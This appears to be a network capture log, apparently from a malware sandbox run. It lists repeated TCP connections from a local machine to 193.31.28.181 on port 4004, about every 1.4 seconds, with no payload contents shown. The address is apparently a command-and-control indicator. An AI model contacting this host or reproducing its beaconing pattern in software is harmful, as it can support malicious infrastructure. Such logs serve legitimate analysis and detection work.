Jan 1, 2025 05:59:05.009716988 CET	50073	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:05.091504097 CET	50075	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:05.096333981 CET	4004	50075	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:05.096389055 CET	50075	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:05.096669912 CET	50075	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:05.101458073 CET	4004	50075	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:05.708756924 CET	4004	50075	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:05.710319042 CET	50075	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:05.715143919 CET	4004	50075	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:06.457792044 CET	50075	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:06.462852001 CET	4004	50075	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:06.462928057 CET	50075	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:06.477787018 CET	50077	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:06.482564926 CET	4004	50077	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:06.482702971 CET	50077	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:06.483045101 CET	50077	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:06.487868071 CET	4004	50077	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:07.103399038 CET	4004	50077	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:07.104233027 CET	50077	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:07.109102964 CET	4004	50077	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:07.812880993 CET	50077	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:07.817905903 CET	4004	50077	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:07.818003893 CET	50077	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:07.834496975 CET	50079	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:07.839323997 CET	4004	50079	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:07.839385986 CET	50079	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:07.839576960 CET	50079	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:07.844388962 CET	4004	50079	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:08.485852003 CET	4004	50079	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:08.537120104 CET	50079	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:08.561800003 CET	50079	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:08.566806078 CET	4004	50079	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:09.455575943 CET	50079	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:09.460639954 CET	4004	50079	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:09.460681915 CET	50079	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:09.475032091 CET	50081	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:09.479775906 CET	4004	50081	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:09.479840040 CET	50081	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:09.480252981 CET	50081	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:09.485018969 CET	4004	50081	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:10.103957891 CET	4004	50081	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:10.109810114 CET	50081	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:10.114640951 CET	4004	50081	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:10.913531065 CET	50081	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:10.918483973 CET	4004	50081	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:10.918529987 CET	50081	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:10.928345919 CET	50083	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:10.933242083 CET	4004	50083	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:10.933298111 CET	50083	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:10.933644056 CET	50083	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:10.938363075 CET	4004	50083	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:11.574496984 CET	4004	50083	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:11.575666904 CET	50083	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:11.580449104 CET	4004	50083	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:12.336215973 CET	50083	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:12.341236115 CET	4004	50083	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:12.341301918 CET	50083	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:12.350295067 CET	50085	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:12.355094910 CET	4004	50085	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:12.355166912 CET	50085	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:12.355489016 CET	50085	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:12.360239983 CET	4004	50085	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:12.996417046 CET	4004	50085	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:12.996989965 CET	50085	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:13.002026081 CET	4004	50085	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:13.723584890 CET	50085	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:13.728727102 CET	4004	50085	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:13.728774071 CET	50085	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:13.740638971 CET	50087	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:13.745409966 CET	4004	50087	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:13.745466948 CET	50087	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:13.745688915 CET	50087	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:13.750442982 CET	4004	50087	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:14.361665964 CET	4004	50087	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:14.362616062 CET	50087	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:14.367403984 CET	4004	50087	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:15.090732098 CET	50087	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:15.095747948 CET	4004	50087	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:15.095796108 CET	50087	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:15.099920034 CET	50089	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:15.104660988 CET	4004	50089	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:15.104723930 CET	50089	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:15.104940891 CET	50089	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:15.109735012 CET	4004	50089	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:15.723367929 CET	4004	50089	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:15.723875046 CET	50089	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:15.728661060 CET	4004	50089	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:16.521811008 CET	50089	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:16.526794910 CET	4004	50089	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:16.526942015 CET	50089	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:16.537810087 CET	50091	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:16.542583942 CET	4004	50091	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:16.542985916 CET	50091	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:16.543363094 CET	50091	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:16.548110008 CET	4004	50091	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:17.163527966 CET	4004	50091	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:17.164098978 CET	50091	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:17.168915987 CET	4004	50091	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:18.257635117 CET	50091	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:18.262845039 CET	4004	50091	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:18.262979031 CET	50091	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:18.273818016 CET	50093	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:18.278661966 CET	4004	50093	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:18.278789997 CET	50093	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:18.279027939 CET	50093	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:18.283746958 CET	4004	50093	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:18.899127960 CET	4004	50093	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:18.901833057 CET	50093	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:18.906667948 CET	4004	50093	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:19.725286007 CET	50093	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:19.730366945 CET	4004	50093	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:19.730412006 CET	50093	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:19.740777016 CET	50095	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:19.745660067 CET	4004	50095	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:19.745713949 CET	50095	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:19.745943069 CET	50095	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:19.750751019 CET	4004	50095	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:20.360757113 CET	4004	50095	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:20.376363993 CET	50095	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:20.381293058 CET	4004	50095	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:21.093821049 CET	50095	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:21.098870993 CET	4004	50095	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:21.098925114 CET	50095	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:21.100045919 CET	50097	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:21.104895115 CET	4004	50097	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:21.104954958 CET	50097	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:21.105283022 CET	50097	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:21.110073090 CET	4004	50097	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:21.744086027 CET	4004	50097	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:21.750226021 CET	50097	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:21.755104065 CET	4004	50097	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:22.531670094 CET	50097	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:22.536761999 CET	4004	50097	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:22.537436008 CET	50099	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:22.537524939 CET	50097	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:22.542244911 CET	4004	50099	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:22.542349100 CET	50099	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:22.544012070 CET	50099	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:22.548747063 CET	4004	50099	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:23.197927952 CET	4004	50099	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:23.198889971 CET	50099	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:23.203664064 CET	4004	50099	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:24.117824078 CET	50099	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:24.122921944 CET	4004	50099	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:24.125930071 CET	50099	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:24.131257057 CET	50101	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:24.136079073 CET	4004	50101	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:24.137914896 CET	50101	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:24.141828060 CET	50101	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:24.146605968 CET	4004	50101	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:24.762764931 CET	4004	50101	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:24.765840054 CET	50101	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:24.770589113 CET	4004	50101	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:25.486848116 CET	50101	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:25.490776062 CET	50103	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:25.491835117 CET	4004	50101	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:25.491883039 CET	50101	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:25.495588064 CET	4004	50103	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:25.495646000 CET	50103	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:25.495877981 CET	50103	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:25.500644922 CET	4004	50103	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:26.126240015 CET	4004	50103	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:26.133846045 CET	50103	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:26.138638973 CET	4004	50103	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:27.862452984 CET	50103	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:27.867552996 CET	4004	50103	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:27.867598057 CET	50103	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:27.881417990 CET	50105	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:27.886259079 CET	4004	50105	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:27.886413097 CET	50105	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:27.886543989 CET	50105	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:27.891284943 CET	4004	50105	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:28.509248018 CET	4004	50105	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:28.509987116 CET	50105	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:28.514848948 CET	4004	50105	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:29.228640079 CET	50105	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:29.233712912 CET	4004	50105	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:29.233760118 CET	50105	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:29.241159916 CET	50107	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:29.246021986 CET	4004	50107	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:29.246078968 CET	50107	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:29.246421099 CET	50107	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:29.251176119 CET	4004	50107	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:29.874568939 CET	4004	50107	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:29.875283003 CET	50107	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:29.880122900 CET	4004	50107	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:30.645838976 CET	50107	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:30.649847984 CET	50109	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:30.650758028 CET	4004	50107	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:30.653918982 CET	50107	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:30.654721022 CET	4004	50109	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:30.655205011 CET	50109	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:30.655257940 CET	50109	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:30.659981966 CET	4004	50109	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:31.296072960 CET	4004	50109	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:31.296751022 CET	50109	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:31.301532030 CET	4004	50109	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:32.483850002 CET	50109	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:32.488990068 CET	4004	50109	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:32.489109993 CET	50109	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:32.491898060 CET	50111	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:32.496695042 CET	4004	50111	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:32.496849060 CET	50111	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:32.497405052 CET	50111	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:32.502149105 CET	4004	50111	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:33.110050917 CET	4004	50111	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:33.111043930 CET	50111	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:33.115839005 CET	4004	50111	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:33.840553999 CET	50111	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:33.845578909 CET	4004	50111	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:33.845645905 CET	50111	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:33.849987030 CET	50113	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:33.854758978 CET	4004	50113	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:33.854811907 CET	50113	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:33.855050087 CET	50113	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:33.859819889 CET	4004	50113	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:34.492239952 CET	4004	50113	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:34.497848988 CET	50113	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:34.502645969 CET	4004	50113	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:35.296955109 CET	50113	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:35.302330971 CET	4004	50113	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:35.302373886 CET	50113	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:35.303411007 CET	50115	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:35.308218002 CET	4004	50115	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:35.308281898 CET	50115	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:35.308624029 CET	50115	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:35.313354969 CET	4004	50115	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:35.920866013 CET	4004	50115	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:35.921771049 CET	50115	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:35.926577091 CET	4004	50115	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:36.717864990 CET	50115	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:36.723107100 CET	4004	50115	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:36.723978043 CET	50115	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:36.729857922 CET	50117	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:36.734671116 CET	4004	50117	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:36.735969067 CET	50117	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:36.741854906 CET	50117	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:36.746613026 CET	4004	50117	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:37.500297070 CET	4004	50117	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:37.501574993 CET	50117	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:37.507496119 CET	4004	50117	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:38.754259109 CET	50117	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:38.756304026 CET	50119	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:38.759284019 CET	4004	50117	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:38.759361982 CET	50117	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:38.761152029 CET	4004	50119	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:38.761229038 CET	50119	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:38.761862993 CET	50119	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:38.766618013 CET	4004	50119	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:39.379873991 CET	4004	50119	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:39.381031990 CET	50119	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:39.385823965 CET	4004	50119	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:40.155863047 CET	50119	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:40.160948038 CET	4004	50119	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:40.164371014 CET	50121	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:40.164518118 CET	50119	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:40.169192076 CET	4004	50121	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:40.171933889 CET	50121	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:40.176132917 CET	50121	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:40.180963039 CET	4004	50121	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:40.784063101 CET	4004	50121	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:40.788968086 CET	50121	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:40.793737888 CET	4004	50121	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:41.489478111 CET	50121	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:41.494534969 CET	4004	50121	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:41.494580030 CET	50121	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:41.507317066 CET	50123	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:41.512164116 CET	4004	50123	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:41.512221098 CET	50123	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:41.512578964 CET	50123	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:41.517357111 CET	4004	50123	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:42.143450975 CET	4004	50123	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:42.144603014 CET	50123	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:42.149466038 CET	4004	50123	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:42.939903021 CET	50123	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:42.944005966 CET	50125	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:42.945055008 CET	4004	50123	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:42.947961092 CET	50123	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:42.948844910 CET	4004	50125	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:42.948941946 CET	50125	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:42.951901913 CET	50125	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:42.956665039 CET	4004	50125	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:43.577358007 CET	4004	50125	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:43.578094959 CET	50125	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:43.582897902 CET	4004	50125	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:44.329862118 CET	50125	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:44.334913969 CET	4004	50125	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:44.334944963 CET	50127	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:44.334991932 CET	50125	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:44.339710951 CET	4004	50127	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:44.339816093 CET	50127	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:44.340018988 CET	50127	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:44.344794035 CET	4004	50127	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:44.979016066 CET	4004	50127	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:44.983306885 CET	50127	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:44.988136053 CET	4004	50127	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:46.133869886 CET	50127	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:46.142765045 CET	4004	50127	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:46.142888069 CET	50127	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:46.148871899 CET	50129	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:46.153690100 CET	4004	50129	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:46.153887033 CET	50129	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:46.154083967 CET	50129	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:46.158879995 CET	4004	50129	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:46.782479048 CET	4004	50129	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:46.784459114 CET	50129	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:46.789256096 CET	4004	50129	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:47.499682903 CET	50129	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:47.504785061 CET	4004	50129	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:47.504832983 CET	50129	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:47.506745100 CET	50131	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:47.511574030 CET	4004	50131	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:47.511636019 CET	50131	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:47.511929989 CET	50131	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:47.516729116 CET	4004	50131	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:48.172370911 CET	4004	50131	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:48.173275948 CET	50131	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:48.178097963 CET	4004	50131	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:48.996308088 CET	50131	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:48.996877909 CET	50133	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:49.001663923 CET	4004	50131	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:49.001677036 CET	4004	50133	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:49.001712084 CET	50131	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:49.001761913 CET	50133	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:49.001996040 CET	50133	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:49.006719112 CET	4004	50133	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:49.613903046 CET	4004	50133	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:49.614697933 CET	50133	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:49.619462967 CET	4004	50133	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:50.438086987 CET	50133	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:50.441878080 CET	50135	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:59:50.443140030 CET	4004	50133	193.31.28.181	192.168.2.4
Jan 1, 2025 05:59:50.445976019 CET	50133	4004	192.168.2.4	193.31.28.181
